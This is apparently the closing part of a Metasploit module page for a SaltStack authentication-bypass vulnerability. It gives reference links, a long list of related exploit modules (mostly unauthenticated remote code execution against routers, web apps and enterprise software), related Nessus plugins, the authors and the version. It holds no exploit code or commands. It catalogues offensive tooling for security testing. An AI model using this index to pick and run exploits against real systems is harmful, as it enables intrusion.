- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-salt-2vx545AG
- https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py
See Also
Check also the following modules related to this module:
- auxiliary/gather/saltstack_salt_root_key
- exploit/linux/http/saltstack_salt_api_cmd_exec
- exploit/linux/http/saltstack_salt_wheel_async_rce
- post/multi/gather/saltstack_salt
- exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce
- exploit/linux/misc/tplink_archer_a7_c7_lan_rce
- exploit/linux/http/dlink_dir850l_unauth_exec
- exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061
- exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec
- exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec
- exploit/linux/http/hadoop_unauth_exec
- exploit/linux/http/ibm_qradar_unauth_rce
- exploit/linux/http/klog_server_authenticate_user_unauth_command_injection
- exploit/linux/http/netgear_dgn1000_setup_unauth_exec
- exploit/linux/http/netgear_unauth_exec
- exploit/linux/http/nuuo_nvrmini_unauth_rce
- exploit/linux/http/spark_unauth_rce
- exploit/freebsd/webapp/spamtitan_unauth_rce
- exploit/multi/http/getsimplecms_unauth_code_exec
- exploit/multi/http/microfocus_ucmdb_unauth_deser
- exploit/multi/http/oscommerce_installer_unauth_code_exec
- exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload
- exploit/multi/misc/ibm_tm1_unauth_rce
- exploit/unix/http/xdebug_unauth_exec
- exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec
- exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload
- exploit/windows/http/advantech_iview_unauth_rce
- exploit/windows/misc/hp_imc_dbman_restartdb_unauth_rce
- exploit/windows/misc/hp_imc_dbman_restoredbase_unauth_rce
- auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921
Related Nessus plugins:
- SUSE SLED15 / SLES15 Security Update : salt (SUSE-SU-2020:1150-1)
- SUSE SLES15 Security Update : salt (SUSE-SU-2020:1151-1)
- openSUSE Security Update : salt (openSUSE-2020-564)
- Debian DSA-4676-1 : salt - security update
- SaltStack < 2019.2.4 / 3000.x < 3000.2 Multiple Vulnerabilities
- SaltStack < 2019.2.4 / 3000.x < 3000.2 Authentication Bypass (CVE-2020-11651)
- FreeBSD : salt -- multiple vulnerabilities in salt-master process (6bf55af9-973b-11ea-9f2c-38d547003487)
- Photon OS 1.0: Salt PHSA-2020-1.0-0294
- Photon OS 1.0: Salt3 PHSA-2020-1.0-0294
- Photon OS 3.0: Salt3 PHSA-2020-3.0-0091
Authors
- F-Secure
- wvu
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
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